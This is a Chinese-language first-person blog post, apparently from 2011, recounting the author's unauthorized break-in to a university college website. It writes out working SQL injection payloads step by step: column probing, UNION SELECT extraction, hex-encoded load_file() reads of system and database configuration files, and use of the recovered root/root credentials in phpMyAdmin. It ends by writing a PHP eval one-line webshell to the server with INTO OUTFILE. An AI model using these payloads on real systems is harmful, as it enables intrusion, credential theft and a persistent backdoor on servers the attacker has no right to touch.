第一次sql注入拿webshell经历

第一次sql注入拿webshell经历

In 2011.9.26
From doggy

暑假到了,人就显得十分不安分。于是就去某同学所在的高校网站上看看。学校的网站可谓是戒备森严,那就去学院的看看吧。登录的界面还挺友好的,有中文 入口,还有英文入口。先选择中文的吧,这个能看懂。进入网站,首先是观察一下,当看到“有机可乘”时,决定按照老大Dingo[s.u.s]在《网站踩点简单指南》一书中的吩咐,先踩下点。踩点记录具体就不详细叙述了。说一下主要的:

1
2
3
4
IP:219.224.61.*。
网站:php+mysql
可利用页面:http://219.224.61.*/chs/note.php?Jzxy_GongGao_ID=130
管理员登录入口:http://219.224.61.*/admin/

大致了解情况之后就可以小试牛刀了。

http://219.224.61.*/chs/note.php?Jzxy_GongGao_ID=130 and 0<>(select count(*) from admin)

先看看有没有这个表。返回信息如图1。

1

看来是没有。然后依次又试了几个。没有、没有、还是没有。这怎么办呢?一直猜不到。还是去问一下老大吧。他让我试一下.

http://219.224.61.*/chs/note.php?Jzxy_GongGao_ID=-130 order by 10

这个方法我还记得,是tcpper在《对南师大网站的一次友情检测》沙龙中提到过的。于是我就试了一下,返回信息如图2。

2

说明什么呢?——10有点大了。依次递减,到7时返回有了不同。页面信息如图3。

3

这样就可以递交http://219.224.61.*/chs/note.php?Jzxy_GongGao_ID=-130 union select 1,2,3,4,5,6,7 --来注入了。得到页面如图4。

4

接着,老大说把“4”换掉。换什么呢?先换了一下“@@version”。 http://219.224.61.*/chs/note.php?Jzxy_GongGao_ID=-130 union select 1,2,3,@@version,5,6,7 --

得到页面如图5。

5

然后再换“user()”得到页面如图6。

6

哇!出现了。可是仅仅是得到了用户名。要得到密码就困难了。怎么办呢?老大推荐使用load_file()

不是很清楚。上网baidu了一下。哦,知道了。可以load_file(“路径”)读文件。马上试试吧。可是对方gvc开了。对于这种情况,我只有提交十六进制的字符串或者弄成char()的了。需要一个将字符串用十六进制表示的工具(已上传)。这样就可以先看看C:\boot.ini试试了。提交http://219.224.61.*/chs/note.php?Jzxy_GongGao_ID=-130 union select 1,2,3,load_file(0x433A2F626F6F742E696E69),5,6,7 --

注意:这里是C:/boot.ini 而不写C:\boot.ini有点差别

页面信息返回如图7

7

看到了。呵呵。接着可以举一反三看更多的了。可以我们的目的是要看php的连接页面。网站的路径我们还不清楚。尝试报错,这个网站报错做得还可以。我没有找出,于是就试了几个。

先试试C:/www\chs\index.php 不对。
然后又试 D:/www\chs\index.php 返回如图8。

8

没想到三试两试就试出来了。确定位置为D:/www\然后去读D:/www\admin\index.php

http://219.224.61.*/chs/note.php?Jzxy_GongGao_ID=-130 union select 1,2,3,load_file (0x643A2F7777775C61646D696E5C696E6465782E706870),5,6,7 --

返回如图9。

9

可惜啊,我php学得不好。看不懂内容。不过经老大解释后得知,
已经差不多了,得到了php向数据库查询的语句
<?php require_once('../Connections/jzxy_conn.php'); ?>
再去读一下jzxy_conn.php就基本搞定了。
读了一下
D:/www\Connections\jzxy_conn.php

(http://219.224.61.*/chs/note.php?Jzxy_GongGao_ID=-130 union select 1,2,3,load_file (0x443A2F7777775C436F6E6E656374696F6E735C6A7A78795F636F6E6 E2E706870),5,6,7 --)

果然。右键查看源代码,如图10。

10

得到密码:root 。好一个与付出不成正比的密码,寒。看来可以了。登录后台http://219.224.61.*/phpmyadmin/

账号:root 密码:root

好了。进去了。看看里面都有什么。拿到后台之后,(由于没有可上传的地方)就可以插入一句话木马了。随便选择一个表,我选的是jzxy。然后点击SQL,接着输入

1
2
select'<?php eval($_POST[k])?>
’ into outfile 'd:/www/1.php'

点击查询,返回信息如图11。

11

再下载一句话木马客户端,登录http://219.224.61.*/1.php输入密码:k 发现可以使用了。拿到webshell。